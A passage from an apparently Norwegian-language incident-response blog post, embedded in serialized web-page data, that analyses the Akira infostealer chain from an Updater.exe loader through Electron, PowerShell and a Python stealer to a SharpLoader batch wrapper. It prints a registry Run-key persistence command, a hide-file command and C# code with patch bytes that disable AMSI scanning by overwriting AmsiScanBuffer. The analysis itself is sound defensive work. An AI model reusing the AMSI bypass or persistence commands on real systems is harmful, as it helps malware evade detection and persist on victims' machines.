",[551,975,976],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[533,978,979],{},"Selve filen var liten, rent kompilert og uinteressant sett fra statisk analyse. Ingen mistenkelige strenger, ingen krypterte seksjoner og ingen indikasjoner på obfuskering eller packing. Den importerte bare et minimalt sett med standard Windows API-funksjoner og inneholdt ingen innebygd payload.",[533,981,982,983,985,986,988],{},"Atferden var langt mer talende. Så snart den var startet, pakket ",[551,984,574],{}," ut en Electron-applikasjon fra et medfølgende arkiv, en selvstendig NodeJS-runtime pakket med standard Electron-verktøy. Den utpakkede mappen inneholdt en kjørbar fil ved navn ",[551,987,578],{},", som deretter ble startet som underprosess.",[588,990,993],{"className":991,"code":992,"language":593,"meta":594},[591],"Updater.exe → main.exe\n",[551,994,992],{"__ignoreMap":594},[533,996,997,998,1000,1001,1003],{},"Det fantes ingen nettverksindikatorer på dette stadiet, ingen prosessinjeksjon og ingen avvik i rettigheter eller token-heving. Hele rollen til ",[551,999,574],{}," så ut til å være en loader, som leverte en andretrinnskomponent (",[551,1002,578],{},") inn i miljøet, sannsynligvis for å bevare skjulthet og modularitet.",[533,1005,1006],{},"Denne typen arkitektonisk oppdeling er vanlig i moderne hyllevare-malware og stealer-verktøysett. Den initiale loaderen fungerer bare som en utrullingsstubbe, slik at den tyngre logikken, ofte obfuskert, tolket eller dynamisk generert, kan ligge i senere trinn.",[533,1008,1009,1010,1012,1013,1015,1016,586],{},"I dette tilfellet fylte ",[551,1011,574],{}," nøyaktig den funksjonen: et stille første fotfeste utformet for å gli inn, forbli uoppdaget og bane vei for kjøringen av den egentlige stealer-logikken i ",[551,1014,578],{}," og til slutt ",[551,1017,582],{},[533,1019,1020],{},"Den rørte ikke filsystemet utover sin egen katalog og utløste ingen atferdsregler, og likevel var den den første brikken som falt i en lang og nøye konstruert angrepskjede.",[862,1022,1024,1025,1027],{"id":1023},"_213-mainexe-obfuskert-nodejs-payloadbeholder","2.1.3 ",[551,1026,578],{}," - Obfuskert NodeJS-payloadbeholder",[533,1029,868],{},[533,1031,1032,1033,1035,1036,1038],{},"Etter at ",[551,1034,574],{}," hadde kjørt, ble en andretrinnsbinary ved navn ",[551,1037,578],{}," startet. Denne komponenten presenterte seg som en helt vanlig Electron-applikasjon, et runtime-miljø som pakker Node.js og Chromium sammen og ofte brukes til plattformuavhengige skrivebordsapper. Nettopp denne uskyldige fasaden er en del av det som gjør den så farlig i feil hender.",[533,1040,1041,1042,1044,1045,1048],{},"Ved inspeksjon viste ",[551,1043,578],{}," seg å inneholde et internt arkiv ved navn ",[551,1046,1047],{},"app.asar",", standardformatet for pakking av Electron-baserte applikasjoner. Til forskjell fra legitime Electron-apper var innholdet i dette arkivet alt annet enn vanlig.",[604,1050,1051,1057,1063,1071],{},[607,1052,1053,1056],{},[540,1054,1055],{},"Plattform",": Electron (Node.js + Chromium)",[607,1058,1059,1062],{},[540,1060,1061],{},"Arkitektur",": 64-bits Windows",[607,1064,1065,1068,1069],{},[540,1066,1067],{},"Innholdsstruktur",": Innebygde JavaScript-filer i ",[551,1070,1047],{},[607,1072,1073,1076,1077,1080],{},[540,1074,1075],{},"Obfuskeringsnivå",": Høyt, oppnådd med ",[551,1078,1079],{},"js-confuser",", et kommersielt tilgjengelig obfuskeringsverktøysett for JavaScript",[533,1082,1083,1084,1086],{},"Da den var dekompilert og deobfuskert, ble kjernelogikken i ",[551,1085,578],{}," tydelig. Formålet var ikke å vise et GUI eller kjøre frontend-logikk, den fungerte i stedet som en skjult kjøringsorkestrator.",[533,1088,1089],{},[540,1090,1091],{},"Observert atferd:",[604,1093,1094,1097,1104],{},[607,1095,1096],{},"Dekrypterer og rekonstruerer en Base64-kodet PowerShell-kommando som ligger lagret i JavaScript-payloaden",[607,1098,1099,1100,1103],{},"Starter ",[551,1101,1102],{},"cmd.exe"," for å kjøre PowerShell-kommandoen inline",[607,1105,1106,1107,1109,1110,1113],{},"PowerShell-kommandoen kaller i sin tur ",[551,1108,553],{}," og sender med et skript som ligger under en tilsynelatende harmløs katalogstruktur (",[551,1111,1112],{},"Crypto\\Util\\astor.py",")",[588,1115,1118],{"className":1116,"code":1117,"language":593,"meta":594},[591],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[551,1119,1117],{"__ignoreMap":594},[533,1121,1122],{},"Denne kjedingen lot angriperen bytte kjøringskontekst og unngå enkel deteksjon. Siden payloaden var obfuskert og stagede i minnet, var tradisjonelle signaturbaserte kontroller virkningsløse.",[533,1124,1125],{},"Electron-rammeverket ga et ideelt dekke, det tillot kjøring av vilkårlig JavaScript og unngikk samtidig nærmere granskning. JavaScript-basert kjøring ga også plattformuavhengighet, noe som muliggjorde fleksibel utrulling og enklere integrasjon av dynamisk styringslogikk.",[533,1127,1128,1129,1131],{},"Det som gjorde ",[551,1130,578],{}," særlig farlig, var at den kunne arbeide uten å droppe flere filer enn de som allerede var stagede. Stealer-skriptet ble kalt direkte fra disk, men all staging- og kjøringslogikk lå innebygd i Electron-bundlen.",[533,1133,1134,1135,1137,1138,586],{},"Kort sagt fungerte ",[551,1136,578],{}," som den obfuskerte kjøringskjernen i flere lag, som portvakt mellom initial persistens og full aktivering av Akira Stealer-payloaden i ",[551,1139,582],{},[862,1141,1143,1144,1146],{"id":1142},"_214-cmdexe-og-powershell-relé","2.1.4 ",[551,1145,1102],{}," og PowerShell-relé",[533,1148,868],{},[533,1150,1151],{},"Dette trinnet i kjøringskjeden fungerte som et relé, ikke for payload-logikk, men for obfuskering og indirekte kjøring.",[533,1153,1032,1154,1156,1157,1159,1160,586],{},[551,1155,578],{}," hadde gjort jobben sin med å pakke ut og dekode payloaden, startet den en ",[551,1158,1102],{},"-prosess. Denne prosessen inneholdt ingen skadelig logikk i seg selv, og den verken skrev eller endret filer. Eneste formål var å være en wrapper for å starte en PowerShell-sesjon med en ",[540,1161,1162],{},"kodet kommando",[533,1164,1165],{},"Metoden er en velkjent taktikk for å redusere synlighet og unngå deteksjon:",[604,1167,1168,1180],{},[607,1169,1170,1173,1174],{},[540,1171,1172],{},"Kjøringskjede",":",[588,1175,1178],{"className":1176,"code":1177,"language":593},[591],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[551,1179,1177],{"__ignoreMap":594},[607,1181,1182,1173,1185],{},[540,1183,1184],{},"Formål",[604,1186,1187,1190,1193],{},[607,1188,1189],{},"Kapsler inn PowerShell-kjøringen i enda et skall",[607,1191,1192],{},"Skjuler den faktiske PowerShell-koden fra direkte innsyn i logger",[607,1194,1195,1196,1199],{},"Unngår EDR-er som utløses av direkte bruk av ",[551,1197,1198],{},"powershell.exe"," med mistenkelige parametere",[533,1201,1202,1203,1205],{},"Ved å legge PowerShell-skriptet inn som en Base64-kodet streng og kalle det via ",[551,1204,1102],{}," unngikk angriperen flere former for deteksjon:",[604,1207,1208,1213,1218],{},[607,1209,1210],{},[540,1211,1212],{},"Heuristiske filtre for kommandolinjer",[607,1214,1215],{},[540,1216,1217],{},"Standard logging (for eksempel Event ID 4104, 4688)",[607,1219,1220],{},[540,1221,1222,1223,1225,1226,620,1229,1232],{},"Regelbaserte deteksjoner for ",[551,1224,1198],{},"-argumenter som ",[551,1227,1228],{},"-NoProfile",[551,1230,1231],{},"-ExecutionPolicy Bypass"," eller inline-skript",[533,1234,1235,1236,1238,1239,1241],{},"Verdt å merke seg er at PowerShell-kommandoen ble holdt minimal og utelukkende rettet mot å starte ",[551,1237,553],{}," med en sti til det innebygde stealer-skriptet, ",[551,1240,582],{},". Ingen ekstra moduler ble lastet, og ingen åpenbare signaturer lå i minnet.",[533,1243,1244],{},"Denne reléteknikken brukes ofte både i red teaming og av avanserte infostealere, som et lettvekts unnvikelseslag som er enkelt å implementere, men vanskelig å fange opp uten telemetrikorrelasjon.",[533,1246,1009,1247,1249],{},[551,1248,1102],{}," nøyaktig den funksjonen: en enkel, stille bro mellom JavaScript-logikk og Python-kjøring, en som nesten gled ubemerket gjennom.",[862,1251,1253,1254,1256,1257],{"id":1252},"_215-pythonexe-med-astorpy","2.1.5 ",[551,1255,553],{}," med ",[551,1258,582],{},[533,1260,868],{},[533,1262,1263,1264,1266,1267,1269],{},"Det siste og mest virkningsfulle trinnet i kjøringskjeden ble nådd da ",[551,1265,553],{}," kalte ",[551,1268,582],{},", en Python-basert, modulær infostealer som utelukkende arbeider i minnet. Dette skriptet utgjorde den operative kjernen i hele angrepskjeden.",[533,1271,1272,1273,1275],{},"Til forskjell fra mange hyllevare-stealere ble ikke ",[551,1274,582],{}," lagt ut i klartekst. Det var beskyttet av en dekrypteringsmekanisme i flere lag:",[604,1277,1278,1287],{},[607,1279,1280,1283,1284,586],{},[540,1281,1282],{},"Dekrypteringsstack",": Filen ble først GZIP-komprimert og deretter kryptert med ",[540,1285,1286],{},"AES-256-CBC",[607,1288,1289,1292],{},[540,1290,1291],{},"Nøkkelderivering",": En PBKDF2-basert nøkkelderivering ble brukt (SHA-512, 1 000 000 iterasjoner), noe som gjør statisk analyse og brute force svært upraktisk.",[533,1294,1295],{},"Da skriptet var dekryptert ved kjøring, kjørte det flere spesialiserte moduler, alle rettet mot sensitive datakilder:",[533,1297,1298],{},[540,1299,1300],{},"Kjernefunksjoner",[604,1302,1303,1309,1319,1329],{},[607,1304,1305,1308],{},[540,1306,1307],{},"Uthenting av nettleserdata",": Hentet påloggingsopplysninger, cookies og autofyll-data fra Chromium-baserte nettlesere (Chrome, Edge, Brave, Opera)",[607,1310,1311,1314,1315,1318],{},[540,1312,1313],{},"Innsamling av tokens",": Samlet inn sesjonstokens, særlig fra ",[540,1316,1317],{},"Discord",", og lette etter utvidelser for kryptovaluta-lommebøker",[607,1320,1321,1324,1325,1328],{},[540,1322,1323],{},"Datapakking",": Samlet alle innsamlede data i et strukturert ",[540,1326,1327],{},"ZIP-arkiv"," og bevarte katalog- og filkontekst for angriperens videre bearbeiding",[607,1330,1331,1334],{},[540,1332,1333],{},"Eksfiltrering",": Lastet opp det ferdige arkivet til offentlige API-er og infrastruktur.",[533,1336,1337],{},[540,1338,966],{},[533,1340,1341],{},"Hele stealer-logikken kjørte fra minnet, uten at noen varige filer ble skrevet til disk. Den etterlot minimale telemetrispor utover artefakter i prosessminnet og helt vanlige kall til underprosesser. Det ble ikke gjort noe forsøk på å etablere persistens på dette trinnet, målet var raskt, effektivt og stille datatyveri.",[533,1343,1344],{},"Bruken av legitime API-er til eksfiltrering gjorde også deteksjon og forebygging langt vanskeligere, siden den utgående trafikken gled inn i vanlig internettaktivitet.",[533,1346,1347,1348,1350],{},"Dette trinnet bekreftet til slutt identiteten til malwaren: en variant av ",[540,1349,651],{},", kjent for:",[604,1352,1353,1356,1359,1362],{},[607,1354,1355],{},"Høy modularitet",[607,1357,1358],{},"Obfuskering ved kjøring",[607,1360,1361],{},"Kommersiell distribusjon via Telegram",[607,1363,1364],{},"Sterkt fokus på innsamling av credentials og tokenbasert sesjonskapring",[533,1366,1367,1368,1370],{},"Sammen med de tidligere trinnene dannet ",[551,1369,582],{}," det kritiske endepunktet i en stillegående og godt konstruert infostealer-kjede. I de følgende avsnittene dissekerer vi denne komponenten videre og forklarer hvordan vi reverserte logikken, kartla infrastrukturen og gjenopprettet hver eneste kompromitteringsindikator som ble brukt i driften av den.",[528,1372,1374,1375],{"id":1373},"_3-deep-dive-updaterexe","3. Deep Dive: ",[551,1376,574],{},[533,1378,535],{},[533,1380,1381,1383],{},[551,1382,574],{}," var den første binaryen vi observerte i analysen etter kompromitteringen. Til tross for det nøytrale utseendet og det nesten usynlige deteksjonsavtrykket spilte den en avgjørende rolle i å opprettholde malwarens operative persistens og levere payloaden til neste trinn.",[714,1385,1387],{"id":1386},"_31-egenskaper","3.1 Egenskaper",[533,1389,720],{},[1391,1392,1393,1406],"table",{},[1394,1395,1396],"thead",{},[1397,1398,1399,1403],"tr",{},[1400,1401,1402],"th",{},"Egenskap",[1400,1404,1405],{},"Verdi",[1407,1408,1409,1420,1430,1440,1450,1460],"tbody",{},[1397,1410,1411,1417],{},[1412,1413,1414],"td",{},[540,1415,1416],{},"Format:",[1412,1418,1419],{},"Windows Portable Executable (PE32)",[1397,1421,1422,1427],{},[1412,1423,1424],{},[540,1425,1426],{},"Arkitektur:",[1412,1428,1429],{},"x86-64",[1397,1431,1432,1437],{},[1412,1433,1434],{},[540,1435,1436],{},"Størrelse:",[1412,1438,1439],{},"~154 KB",[1397,1441,1442,1447],{},[1412,1443,1444],{},[540,1445,1446],{},"Entropi:",[1412,1448,1449],{},"Normal (ikke packet)",[1397,1451,1452,1457],{},[1412,1453,1454],{},[540,1455,1456],{},"Signaturer:",[1412,1458,1459],{},"Ingen",[1397,1461,1462,1467],{},[1412,1463,1464],{},[540,1465,1466],{},"VirusTotal-deteksjon:",[1412,1468,1469],{},"1/69 på analysetidspunktet",[533,1471,1472],{},"Filen hadde en ren importtabell og ingen innebygde strengindikatorer. Ingen kjente packere, cryptere eller mekanismer for obfuskering ved kjøring ble oppdaget. Strukturen stemte med egenkompilerte binaries.",[714,1474,1476],{"id":1475},"_32-atferdsanalyse","3.2 Atferdsanalyse",[533,1478,720],{},[533,1480,1481],{},[540,1482,1483],{},"Ingen brukerinteraksjon nødvendig",[533,1485,1486,1487,1489],{},"Malware-kjeden kjørte uten at noen brukerinteraksjon var nødvendig. Ut fra prosesstelemetrien i Defender ble den første binaryen (",[551,1488,574],{},") startet automatisk, sannsynligvis via en persistensmekanisme som en autorun-nøkkel i registeret. På grunn av kompromitteringens alder og fraværet av historiske hendelseslogger lot den eksakte persistensmetoden seg likevel ikke gjenopprette.",[533,1491,1492],{},[540,1493,1494],{},"Stille kjøring og staging",[533,1496,1497,1498,1500,1501,1503],{},"Ved kjøring startet ",[551,1499,574],{}," umiddelbart ",[551,1502,578],{}," uten synlig vindu og uten dialoger til brukeren. Stagingen skjedde stille i bakgrunnen. Det fantes ingen spor av samtykkedialoger, UAC-forespørsler eller GUI-komponenter.",[533,1505,1506],{},[540,1507,1508],{},"Atferd ved utrulling av payload",[533,1510,1511,1513],{},[551,1512,578],{}," viste seg å være del av en Electron-applikasjonsstruktur, men nøyaktig hvor utrullingen kom fra, er fortsatt uklart. Ett av følgende antas:",[604,1515,1516,1522],{},[607,1517,1518,1519,1521],{},"Payloaden kan ha ligget innebygd i ",[551,1520,574],{}," (for eksempel som en innebygd ressurs), eller",[607,1523,1524],{},"den kan ha blitt hentet fra en ekstern kilde",[533,1526,1527],{},"Uten nettverkstelemetri og uten noen gjenfunnet hardkodet URL forblir leveransevektoren for Electron-appen uavklart.",[533,1529,1530],{},[540,1531,1532],{},"Atferd i prosesskjeden",[533,1534,1535,1536,1538,1539,1541],{},"Så snart den kjørte, opprettet ",[551,1537,574],{}," ",[551,1540,578],{}," som underprosess. Kallet var ikke-interaktivt, og ingen prosess i kjeden viste UI-aktivitet. Prosesskjeden fortsatte som forventet:",[588,1543,1546],{"className":1544,"code":1545,"language":593},[591],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[551,1547,1545],{"__ignoreMap":594},[533,1549,1550],{},"Alle kjøringstrinn fungerte uten å kreve inndata fra brukeren, og bygde utelukkende på forhåndskonfigurert oppstartslogikk og stille kjøringsstier. Det holdt eksponeringen nede og hjalp malwaren med å forbli uoppdaget over lang tid.",[714,1552,1554],{"id":1553},"_33-rolle-i-infeksjonskjeden","3.3 Rolle i infeksjonskjeden",[533,1556,720],{},[533,1558,1559,1561,1562,1565,1566,586],{},[551,1560,574],{}," hadde ",[540,1563,1564],{},"én enkelt, men helt nødvendig rolle"," i den større infeksjonskjeden: den sto for persistensen og gjenutrullingen av stage 2-komponenten ",[551,1567,578],{},[533,1569,1570],{},[540,1571,1572],{},"Bekreftede kjennetegn",[604,1574,1575,1582,1589],{},[607,1576,1577,1578,1581],{},"Den inneholdt eller kjørte ",[540,1579,1580],{},"ikke"," skadelig logikk direkte",[607,1583,1584,1585,1588],{},"Den utførte ",[540,1586,1587],{},"ingen"," dataeksfiltrering",[607,1590,1591,1592,1594],{},"Den samhandlet ",[540,1593,1580],{}," med nettleserens credential stores eller sensitive brukerdata",[533,1596,1597,1598,1600],{},"Eneste formål var å starte ",[551,1599,578],{}," stille ved brukerpålogging, med en autorun-oppføring i registeret som den mest sannsynlige persistensmetoden (selv om den ikke lot seg gjenopprette direkte på grunn av begrensninger i telemetrien).",[533,1602,1603,1604,1606,1607,1609],{},"Ved å opptre som en isolert first stage-loader sørget ",[551,1605,574],{}," for at selve stealer-payloaden (",[551,1608,582],{},") forble skjult i dypere kjøringslag. Denne arbeidsdelingen lot angriperne:",[604,1611,1612,1615,1618],{},[607,1613,1614],{},"Unngå korrelasjon fra statiske AV- eller sandbox-systemer",[607,1616,1617],{},"Bytte ut eller oppdatere payloads uten å endre loaderen",[607,1619,1620],{},"Redusere atferdssignalene ved inngangspunktet",[533,1622,1623,1624,1627],{},"Mønsteret er typisk for ",[540,1625,1626],{},"malware-as-a-service (MaaS)","-operasjoner, der leveransemekanismene er generiske og payloadene modulære eller kundespesifikke.",[533,1629,1630,1631,1633],{},"I dette tilfellet ga ",[551,1632,574],{}," akkurat nok logikk til å fungere som et pålitelig og stillegående inngangspunkt: ikke mer, men heller ikke mindre.",[714,1635,1637],{"id":1636},"_34-persistens-via-registeret-bekreftet-i-astorpy","3.4 Persistens via registeret (bekreftet i astor.py)",[533,1639,720],{},[533,1641,1642,1643,1645],{},"Statisk analyse av Python-payloaden viste at ",[551,1644,574],{}," gjøres persistent gjennom en eksplisitt autorun-oppføring i registeret:",[604,1647,1648,1656,1664],{},[607,1649,1650,973,1653],{},[540,1651,1652],{},"Registry Path",[551,1654,1655],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[607,1657,1658,973,1661],{},[540,1659,1660],{},"Value Name",[551,1662,1663],{},"Realtek Audio",[607,1665,1666,973,1669],{},[540,1667,1668],{},"Payload Path",[551,1670,1671],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[533,1673,1674],{},"Den tilhørende registerkommandoen kjøres via PowerShell:",[588,1676,1680],{"className":1677,"code":1678,"language":1679,"meta":594,"style":594},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[551,1681,1682],{"__ignoreMap":594},[1683,1684,1687],"span",{"class":1685,"line":1686},"line",1,[1683,1688,1678],{},[533,1690,1691],{},"Dette sikrer at malwaren startes ved hver brukerpålogging. Filen merkes i tillegg med attributtene hidden og system for å unngå deteksjon ytterligere:",[588,1693,1695],{"className":1677,"code":1694,"language":1679,"meta":594,"style":594},"attrib +h +s \"Updater.exe\"\n",[551,1696,1697],{"__ignoreMap":594},[1683,1698,1699],{"class":1685,"line":1686},[1683,1700,1694],{},[533,1702,1703],{},"Denne persistensmekanismen lå innebygd direkte i astor.py-koden, noe som bekrefter at stealeren i siste trinn aktivt holder loaderen på plass både på disk og i oppstartsregisteret.",[714,1705,1707],{"id":1706},"_35-oppsummering","3.5 Oppsummering",[533,1709,720],{},[821,1711,1712],{},[533,1713,1714,1715,1717],{},"Selv om ",[551,1716,574],{}," ikke var skadelig i seg selv, verken i struktur eller innhold, bekreftet atferden i kjøringskjeden rollen som malware loader.",[827,1719],{"className":1720},[830],[533,1722,1723],{},"Denne binaryen fungerte som en ren, minimalistisk first stage-launcher som unngikk deteksjon fra statisk analyse, AV-motorer og atferdsregler. Designet handlet utelukkende om skjulthet og operativ støtte, ikke om å kjøre skadelig logikk selv.",[533,1725,1726,1727,1729,1730,1732,1733,1736],{},"Rollen strakte seg likevel lenger enn den første utrullingen. Under reverse engineering av ",[551,1728,582],{},"-payloaden fant vi logikk som aktivt sjekket om ",[551,1731,574],{}," var til stede. Denne sjekken var del av en større ",[540,1734,1735],{},"health- og self-healing-syklus"," implementert i stealer-koden, en mekanisme som skulle verifisere integriteten i infeksjonskjeden og gjenopprette manglende komponenter ved behov.",[533,1738,1739,1740,1742,1743,1746],{},"Det betyr at ",[551,1741,574],{}," ikke bare hadde ansvaret for å starte malwaren, men også inngikk i dens ",[540,1744,1745],{},"løpende runtime-validering",". Uten denne stubben kunne malwaren miste evnen til å initialisere seg på nytt i senere sesjoner.",[533,1748,1749],{},[540,1750,1751,1752,1173],{},"Sentrale funksjoner i ",[551,1753,574],{},[604,1755,1756,1761,1766,1769],{},[607,1757,1758,1759],{},"Friksjonsfri utrulling av ",[551,1760,578],{},[607,1762,1763,1764],{},"Indirekte kjøring av ",[551,1765,582],{},[607,1767,1768],{},"Frikobling av loader- og payload-logikk",[607,1770,1771,1774],{},[540,1772,1773],{},"Referert av payloaden selv"," som del av den operative health-overvåkingen",[533,1776,1777],{},"I avsnitt 5 går vi gjennom stealerens interne health check-rutiner i detalj, inkludert self-healing-atferden og mekanismene for integritetsvalidering.",[533,1779,1780,1781,1783],{},"Foreløpig er det klart at ",[551,1782,574],{}," fungerte som både tenning og ankerpunkt i denne lagdelte infostealer-arkitekturen.",[714,1785,1787],{"id":1786},"_36-ekstraksjonstriks-å-overliste-loaderen","3.6 Ekstraksjonstriks: å overliste loaderen",[533,1789,720],{},[533,1791,1792],{},"Noen ganger kommer de beste resultatene innen reverse engineering ikke fra dyp disassemblering av binaries, men fra litt list og tålmodighet.",[533,1794,1795,1796,1798,1799,1801],{},"Mens vi analyserte infeksjonen i et kontrollert labmiljø, la vi merke til noe rart: ",[551,1797,574],{}," var til stede og kjørte, men ",[551,1800,578],{}," var borte fra filsystemet. Da fikk vi en idé: hva skjer om vi lar malwaren reparere seg selv?",[533,1803,1804,1805,1810,1811,1813],{},"Vi ",[540,1806,1807,1808],{},"slettet ",[551,1809,578],{}," med vilje fra det infiserte miljøet og lot ",[551,1812,574],{}," være i fred. Og ganske riktig, etter neste pålogging gikk loaderen i gang, ikke med bråk, men med et stille forsøk på å bygge opp igjen sitt andre trinn.",[533,1815,1816,1817,1819,1820,1822,1823,1826,1827,1830,1831,620,1833,558,1836,1838],{},"Her ble det interessant: i stedet for å gjenskape ",[551,1818,578],{}," direkte droppet ",[551,1821,574],{}," først en fil ved navn ",[551,1824,1825],{},"app-64.7z",", et helt vanlig ",[540,1828,1829],{},"7-Zip-arkiv",". Dette arkivet inneholdt hele Electron-applikasjonsstrukturen, inkludert ",[551,1832,578],{},[551,1834,1835],{},"resources",[551,1837,1047],{},"-payloaden med all innebygd logikk.",[533,1840,1841,1842,586],{},"Vi hadde i praksis ",[540,1843,1844],{},"tvunget malwaren til å levere oss kildepakken",[533,1846,1847],{},[748,1848],{"alt":1849,"src":1850},"Mistenkelig Updater-kjørbar fil oppdaget","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[533,1852,1853],{},"Med dette 7z-arkivet i hånd kunne vi pakke ut, dekomprimere og reversere hele den JavaScript-baserte orkestreringslogikken uten å røre den opprinnelige loaderen igjen. Arkivstrukturen stemte perfekt med den forventede Electron-app-layouten.",[533,1855,1856,1857,1860],{},"Denne atferden tyder sterkt på at angriperne bevisst valgte en ",[540,1858,1859],{},"modulær og vedlikeholdbar arkitektur",", der arkiver brukes som fleksible payload-beholdere. Det lot dem også bytte ut eller oppdatere payload-komponenter uten å kompilere loader-binaryen på nytt.",[533,1862,1863],{},"Og i vårt tilfelle? Det lot oss overliste kjeden deres, fange opp droppen og gå derfra med hele pakken, omtrent som å stjele tegningene fra arbeidsbenken mens byggmesteren ser en annen vei.",[533,1865,1866,1867],{},"La oss si det slik: ",[540,1868,1869,1870,620,1873,1876],{},"noen ganger er de beste forensiske verktøyene ",[551,1871,1872],{},"del",[551,1874,1875],{},"wait"," og litt nysgjerrighet.",[528,1878,1880,1881],{"id":1879},"_4-deep-dive-powbat","4. Deep Dive: ",[551,1882,1883],{},"pow.bat",[533,1885,535],{},[533,1887,1888,1889,1892],{},"I malware-kampanjen vi analyserte, fungerer komponenten ",[551,1890,1891],{},"Invoke-SharpLoader"," som en egenutviklet, minneresident .NET-loader med en svært modulær og unnvikende kjøringsflyt. Dette avsnittet dissekerer den interne arkitekturen, anti-analysestrategien via AMSI-patching og rollen den spiller i å legge til rette for payloaden i andre trinn.",[714,1894,1896],{"id":1895},"_41-binaryegenskaper-sharploader-batch-wrapper","4.1 Binaryegenskaper - SharpLoader Batch Wrapper",[533,1898,720],{},[533,1900,1901,1902,1904],{},"Før den kjøres for å laste .NET-payloaden i minnet, har den ytre wrapperen ",[551,1903,1883],{}," følgende kjennetegn ifølge statisk analyse:",[1391,1906,1907,1915],{},[1394,1908,1909],{},[1397,1910,1911,1913],{},[1400,1912,1402],{},[1400,1914,1405],{},[1407,1916,1917,1926,1935,1945,1954,1964,1974,1983],{},[1397,1918,1919,1923],{},[1412,1920,1921],{},[540,1922,1416],{},[1412,1924,1925],{},"DOS Batch File",[1397,1927,1928,1932],{},[1412,1929,1930],{},[540,1931,1426],{},[1412,1933,1934],{},"Skriptbasert (ikke kompilert binary)",[1397,1936,1937,1942],{},[1412,1938,1939],{},[540,1940,1941],{},"Filstørrelse:",[1412,1943,1944],{},"27.79 KB (28454 bytes)",[1397,1946,1947,1951],{},[1412,1948,1949],{},[540,1950,1446],{},[1412,1952,1953],{},"Normal (ren ASCII-tekst)",[1397,1955,1956,1961],{},[1412,1957,1958],{},[540,1959,1960],{},"Magic:",[1412,1962,1963],{},"DOS batch file, ASCII text",[1397,1965,1966,1971],{},[1412,1967,1968],{},[540,1969,1970],{},"Digital signatur:",[1412,1972,1973],{},"Ingen funnet",[1397,1975,1976,1980],{},[1412,1977,1978],{},[540,1979,1466],{},[1412,1981,1982],{},"26 / 61 (på analysetidspunktet)",[1397,1984,1985,1990],{},[1412,1986,1987],{},[540,1988,1989],{},"Trusseletiketter:",[1412,1991,1992,620,1995,620,1998,620,2000],{},[551,1993,1994],{},"trojan",[551,1996,1997],{},"downloader",[551,1999,1679],{},[551,2001,2002],{},"agentb",[533,2004,2005,2006,2009],{},"Selv om det bare er en ",[551,2007,2008],{},".bat","-fil, unngår skriptet mange statiske deteksjoner og lener seg tungt på living-off-the-land-teknikker som PowerShell for å laste ned og kjøre obfuskerte og krypterte payloads.",[714,2011,2013,2014,1113],{"id":2012},"_42-amsi-bypass-teknikk-klasse-gofor4msi","4.2 AMSI Bypass-teknikk (klasse: ",[551,2015,2016],{},"gofor4msi",[533,2018,720],{},[533,2020,2021],{},"En av de første forsvarsmekanismene SharpLoader omgår, er AMSI, Anti-Malware Scan Interface, en Microsoft-funksjon integrert i skriptmotorer som PowerShell og Windows Script Host for å skanne innhold i sanntid etter mistenkelig atferd. Malware-utviklere forsøker ofte å omgå AMSI for å unngå deteksjon fra endpoint-beskyttelse.",[533,2023,2024,2025,2028,2029,2032,2033,2036,2037,2040,2041,2044],{},"I SharpLoader implementeres AMSI-bypassen gjennom ",[540,2026,2027],{},"direkte in-memory-patching"," av funksjonen ",[551,2030,2031],{},"AmsiScanBuffer"," i ",[551,2034,2035],{},"amsi.dll",". Denne funksjonen har normalt ansvaret for å analysere skriptinnhold og returnere en resultatkode som sier om innholdet er mistenkelig (",[551,2038,2039],{},"AMSI_RESULT_DETECTED",") eller trygt (",[551,2042,2043],{},"AMSI_RESULT_CLEAN",").",[533,2046,2047],{},"Den aktuelle koden for in-memory-patching er:",[588,2049,2053],{"className":2050,"code":2051,"language":2052,"meta":594,"style":594},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[551,2054,2055,2060,2066,2072],{"__ignoreMap":594},[1683,2056,2057],{"class":1685,"line":1686},[1683,2058,2059],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1683,2061,2063],{"class":1685,"line":2062},2,[1683,2064,2065],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1683,2067,2069],{"class":1685,"line":2068},3,[1683,2070,2071],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1683,2073,2075],{"class":1685,"line":2074},4,[1683,2076,2077],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[533,2079,2080],{},"Sekvensen utfører følgende steg:",[2082,2083,2084,2093,2104,2114],"ol",{},[607,2085,2086,2089,2090,586],{},[540,2087,2088],{},"Last AMSI-DLL-en"," inn i prosessen med ",[551,2091,2092],{},"LoadLibrary(\"amsi.dll\")",[607,2094,2095,2098,2099,583,2101,586],{},[540,2096,2097],{},"Slå opp minneadressen"," til funksjonen ",[551,2100,2031],{},[551,2102,2103],{},"GetProcAddress()",[607,2105,2106,2109,2110,2113],{},[540,2107,2108],{},"Endre minnebeskyttelsen"," for adressen med ",[551,2111,2112],{},"VirtualProtect()"," slik at den blir skrivbar.",[607,2115,2116,1256,2119,2122],{},[540,2117,2118],{},"Overskriv starten av funksjonen",[551,2120,2121],{},"Marshal.Copy()"," og en liten shellcode-patch.",[533,2124,2125],{},"Patchen som brukes på 64-bits systemer, er:",[588,2127,2129],{"className":2050,"code":2128,"language":2052,"meta":594,"style":594},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[551,2130,2131],{"__ignoreMap":594},[1683,2132,2133],{"class":1685,"line":1686},[1683,2134,2128],{},[533,2136,2137],{},"Dette tilsvarer følgende 